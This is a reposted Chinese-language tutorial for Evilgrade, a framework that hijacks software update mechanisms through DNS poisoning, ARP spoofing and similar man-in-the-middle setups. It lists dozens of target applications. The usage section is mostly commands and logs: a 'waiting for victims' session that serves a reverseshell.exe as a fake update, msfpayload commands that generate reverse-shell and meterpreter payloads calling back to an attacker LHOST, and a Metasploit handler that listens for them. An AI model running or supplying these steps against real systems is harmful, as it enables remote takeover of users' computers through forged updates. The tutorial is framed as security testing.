加入收藏 | 设为首页 | 会员中心 | 我要投稿 聊城站长网 (https://www.0635zz.com/)- 智能语音交互、行业智能、AI应用、云计算、5G!
当前位置: 首页 > 服务器 > 安全 > 正文

如何使用Evilgrade测试应用程序的升级机制是不是安全

发布时间:2023-06-05 10:39:24 所属栏目:安全 来源:
导读:关于Evilgrade

Evilgrade是一款功能强大的模块化框架,该框架允许广大研究人员通过向目标应用程序注入伪造的更新代码,并利用存在安全问题的更新实现机制来测试目标升级更新功能的安全性。该工具提供了预构建的代
关于Evilgrade
 
Evilgrade是一款功能强大的模块化框架,该框架允许广大研究人员通过向目标应用程序注入伪造的更新代码,并利用存在安全问题的更新实现机制来测试目标升级更新功能的安全性。该工具提供了预构建的代理以及支持快速测试的默认工作配置。除此之外,该工具还拥有自己的WebServer和DNSServer模块。
 
工具使用场景
 
内部场景
 
1、内部DNS访问;
 
2、ARP欺骗;
 
3、DNS缓存投毒;
 
4、DHCP欺骗;
 
5、TCP劫持;
 
6、Wi-Fi访问点伪造;
 
外部场景
 
1、内部DNS访问;
 
2、DNS缓存投毒;
 
实现的模块
 
Freerip 3.30
 
Jet photo 4.7.2
 
Teamviewer 5.1.9385
 
ISOpen 4.5.0
 
Istat.
 
Gom 2.1.25.5015
 
Atube catcher 1.0.300
 
Vidbox 7.5
 
Ccleaner 2.30.1130
 
Fcleaner 1.2.9.409
 
Allmynotes 1.26
 
Notepad++ 5.8.2
 
Java 1.6.0_22 winxp/win7
 
aMSN 0.98.3
 
Appleupdate <= 2.1.1.116 ( Safari 5.0.2 7533.18.5, <= Itunes 10.0.1.22, <= Quicktime 7.6.8 1675)
 
Mirc 7.14
 
Windows update (ie6 lastversion, ie7 7.0.5730.13, ie8 8.0.60001.18702)
 
Dap 9.5.0.3
 
Winscp 4.2.9
 
AutoIt Script 3.3.6.1
 
Clamwin 0.96.0.1
 
AppTapp Installer 3.11 (Iphone/Itunes)
 
getjar (facebook.com)
 
Google Analytics Javascript injection
 
Speedbit Optimizer 3.0 / Video Acceleration 2.2.1.8
 
Winamp 5.581
 
TechTracker (cnet) 1.3.1 (Build 55)
 
Nokiasoftware firmware update 2.4.8es
 
Nokia firmware v20.2.011
 
BSplayer 2.53.1034
 
Apt ( < Ubuntu 10.04 LTS)
 
Ubertwitter 4.6 (0.971)
 
Blackberry Facebook 1.7.0.22 | Twitter 1.0.0.45
 
Cpan 1.9402
 
VirtualBox (3.2.8 )
 
Express talk
 
Filezilla
 
Flashget
 
Miranda
 
Orbit
 
Photoscape.
 
Panda Antirootkit
 
Skype
 
Sunbelt
 
Superantispyware
 
Trillian <= 5.0.0.26
 
Adium 1.3.10 (Sparkle Framework)
 
VMware
 
...
 
工具下载
 
广大研究人员可以使用下列命令将该项目源码克隆至本地:
 
复制
 
git clone https://github.com/infobyte/evilgrade.git
 
1.
 
工具使用
 
下面给出的是工具的帮助信息:
 
复制
 
evilgrade>help
 
Type 'help command' for more detailed help on a command.
 
  Commands:
 
    configure -  配置模块名称
 
    exit      -  退出程序
 
    help      -  输出工具帮助信息
 
    reload    -  重新加载并更新所有模块
 
    restart   -   重启Web服务器
 
    set       -  配置变量
 
    show      - 显示对象信息
 
    start     -  开启Web服务器
 
    status    -  获取Web服务器窗台
 
    stop      -  停止Web服务器
 
    version   -  显示框架版本

  Object:
 
     options  -  显示当前模块的选项
 
     vhosts   -  显示当前模块的VirtualHosts
 
     modules  -  列举所有可用的模块
 
     active   -  显示活动模块

列举实现的模块:
 
复制
 
evilgrade>show modules

List of modules:
 
===============
...
 
...
 
...

- 63 modules available.

配置指定模块:
 
复制
 
evilgrade>conf sunjava
 
evilgrade(sunjava)>

开启服务(DNS服务器和WebServer):
 
复制
 
evilgrade>start
 
evilgrade>
 
[28/10/2010:21:35:55] - [WEBSERVER] - Webserver ready. Waiting for connections ...
 
evilgrade>
 
[28/10/2010:21:35:55] - [DNSSERVER] - DNS Server Ready. Waiting for Connections ...

#### Waiting for victims

evilgrade>
 
[25/7/2008:4:58:25] - [WEBSERVER] - [modules::sunjava] - [192.168.233.10] - Request: "^/update/[.\\d]+/map\\-[.\\d]+.xml"
 
evilgrade>
 
[25/7/2008:4:58:26] - [WEBSERVER] - [modules::sunjava] - [192.168.233.10] - Request: "^/java_update.xml\$"
 
evilgrade>
 
[25/7/2008:4:58:39] - [WEBSERVER] - [modules::sunjava] - [192.168.233.10] - Request: ".exe"
 
evilgrade>
 
[25/7/2008:4:58:40] - [WEBSERVER] - [modules::sunjava] - [192.168.233.10] - Agent sent: "./agent/reverseshell.exe"

显示状态和日志:
 
复制
 
evilgrade>show status
 
Webserver (pid 4134) already running

Users status:
 
============

.---------------------------------------------------------------------------------------------------------------.
 
| Client         | Module           | Status | Md5,Cmd,File                                                     |
 
+----------------+------------------+--------+------------------------------------------------------------------+
 
| 192.168.233.10 | modules::sunjava | send   | d9a28baa883ecf51e41fc626e1d4eed5,'',"./agent/reverseshell.exe"   |
 
'----------------+------------------+--------+------------------------------------------------------------------'

工具高级使用
 
使用场景一
 
复制
 
evilgrade(sunjava)>set agent '["/metasploit/msfpayload windows/shell_reverse_tcp LHOST=192.168.233.2 LPORT=4141 X > <%OUT%>/tmp/a.exe<%OUT%>"]'
 
1.
 
在这种情况下,对于每个所需的更新二进制文件,我们都可以使用 "windows/shell_reverse_tcp"这个Payload来生成伪造的更新代码,同时使用一个反向Shell连接到192.168.233.2:4141。<%OUT%><%OUT>标签专门来检测输出二进制文件的生成位置。
 
比如说,如果我们运行下列命令:
 
复制
 
evilgrade(sunjava)>set agent '["./generatebin -o <%OUT%>/tmp/update".int(rand(256)).".exe<%OUT%>"]'
 
1.
 
那么每当我们收到一个二进制请求时,Evilgrade将编译该行并执行最终字符串"./generatebin -o /tmp/update(random).exe",然后生成不同的代理。
 
使用场景二
 
在Evilgrade外运行:
 
复制
 
[team@faraday]$ msfpayload windows/meterpreter/reverse_ord_tcp LHOST=192.168.100.2 LPORT=4444 X > /tmp/reverse-shell.exe
 
1.
 
在Evilgrade内运行:
 
复制
 
evilgrade(sunjava)>set agent /tmp/reverse-shell.exe
 
1.
 
生成好Payload之后,我们将得到多个处理器Handler来监听之前分配的LHOST:
 
复制
 
[team@faraday]$ msfcli exploit/multi/handler PAYLOAD=windows/shell/reverse_tcp LHOST=192.168.100.2 LPORT=4444 E
 
[*] Started reverse handler on 192.168.100.2:4444
 
[*] Starting the payload handler...
 
 

(编辑:聊城站长网)

【声明】本站内容均来自网络,其相关言论仅代表作者个人观点,不代表本站立场。若无意侵犯到您的权利,请及时与联系站长删除相关内容!